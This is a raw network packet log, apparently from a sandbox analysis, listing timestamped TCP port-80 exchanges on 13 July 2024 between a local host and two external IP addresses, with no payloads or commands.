Jul 13, 2024 07:07:06.011480093 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011502981 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.011513948 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011528969 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.011547089 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011567116 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.011579990 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011589050 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.011614084 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011647940 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011662006 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.011662006 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.011681080 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011698961 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.011714935 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011749029 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011761904 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.011785030 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011804104 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.011820078 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011843920 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.011856079 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011889935 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011897087 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.011897087 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.011923075 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011955976 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.011962891 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.011962891 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.011990070 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012010098 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.012022972 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012032986 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.012058973 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012074947 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.012093067 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012126923 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012144089 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.012161016 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012183905 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.012195110 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012204885 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.012229919 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012245893 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.012264967 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012280941 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.012298107 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012320042 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.012331009 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012339115 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.012363911 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012379885 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.012398958 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012413979 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.012432098 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012451887 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.012466908 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012506008 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.012506008 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.012521982 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012557983 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012587070 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.012590885 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012610912 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.012626886 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012634993 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.012660027 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012676001 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.012696028 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012713909 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.012743950 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.012756109 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012790918 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012823105 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012841940 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.012856007 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012882948 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.012893915 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.012945890 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.013322115 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.013334990 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.013382912 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.013397932 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.013411045 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.013411045 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.013412952 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.013444901 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.013444901 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.013472080 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.013487101 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.013494015 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.013509035 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.013510942 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.013523102 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.013525009 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.013536930 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.013556957 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.013581038 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.013581038 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.013641119 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.013655901 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.013669968 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.013684034 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.013700008 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.013736963 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.013736963 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.013742924 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.013756990 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.013775110 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.013787031 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.013788939 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.013818026 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.013818026 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.013834000 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.013863087 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.013878107 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.013962030 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.014004946 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014018059 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014033079 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014048100 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014065981 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.014100075 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014113903 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014130116 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014142036 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.014144897 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014159918 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014166117 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.014180899 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.014306068 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014317989 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.014319897 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014334917 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014350891 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014370918 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.014384985 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.014447927 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.014461040 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014476061 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014489889 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014504910 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014518023 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.014518023 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.014559031 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.014559031 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.014604092 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014619112 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014632940 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014647007 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014662027 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014662027 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.014676094 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014693975 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014710903 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.014710903 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.014883995 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014885902 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.014899015 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014913082 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014936924 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.014950037 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014962912 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014977932 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.014991999 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.014992952 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.015011072 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.015028000 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.015033007 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.015063047 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.015063047 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.047043085 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.047076941 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.047094107 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.047106028 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.047112942 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.047132969 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.047135115 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.047148943 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.047167063 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.047167063 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.047187090 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.047211885 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.047211885 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.061420918 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.061487913 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.061523914 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.061543941 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.061558962 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.061577082 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.061599970 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.061615944 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.061650038 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.061656952 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.061683893 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.061691999 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.061718941 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.061723948 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.061754942 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.061759949 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.061789036 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.061794043 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.061824083 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.061830044 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.061857939 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.061863899 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.061893940 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.061896086 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.061930895 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.061934948 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.061969995 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.098387003 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.098445892 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.098479986 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.098539114 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.098539114 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.098539114 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.098620892 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.098656893 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.098690033 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.098695993 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.098695993 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.098737001 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.098741055 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.098788023 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.098820925 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.098829031 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.098829031 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.098855019 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.098887920 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.098893881 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.098893881 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.098921061 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.098961115 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.098961115 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.098973036 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099005938 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099013090 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099056005 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099090099 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099103928 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099104881 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099124908 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099176884 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099205971 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099216938 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099216938 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099241018 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099275112 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099277973 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099277973 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099307060 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099340916 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099348068 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099348068 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099374056 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099406958 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099410057 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099410057 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099445105 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099457026 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099490881 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099523067 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099534988 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099555969 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099574089 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099589109 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099622965 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099634886 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099634886 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099656105 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099699974 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099699974 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099709988 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099741936 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099776030 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099783897 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099783897 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099808931 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099812031 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099843025 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099874973 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099889040 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099889040 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099926949 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099957943 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.099971056 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099971056 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.099992037 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100024939 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100030899 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.100030899 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.100059986 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100094080 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100101948 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.100101948 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.100127935 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100159883 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100193024 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100209951 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.100209951 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.100225925 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100259066 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100298882 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.100298882 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.100348949 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100380898 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100414991 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100419998 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.100419998 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.100446939 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100490093 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.100490093 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.100497961 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100536108 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100574017 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.100574017 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.100586891 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100615978 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100651026 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100683928 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100692034 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.100692034 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.100714922 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100748062 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100754023 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.100754023 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.100780964 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100814104 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100821018 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.100821018 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.100847006 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.100853920 CEST	58981	80	192.168.2.5	85.28.47.70
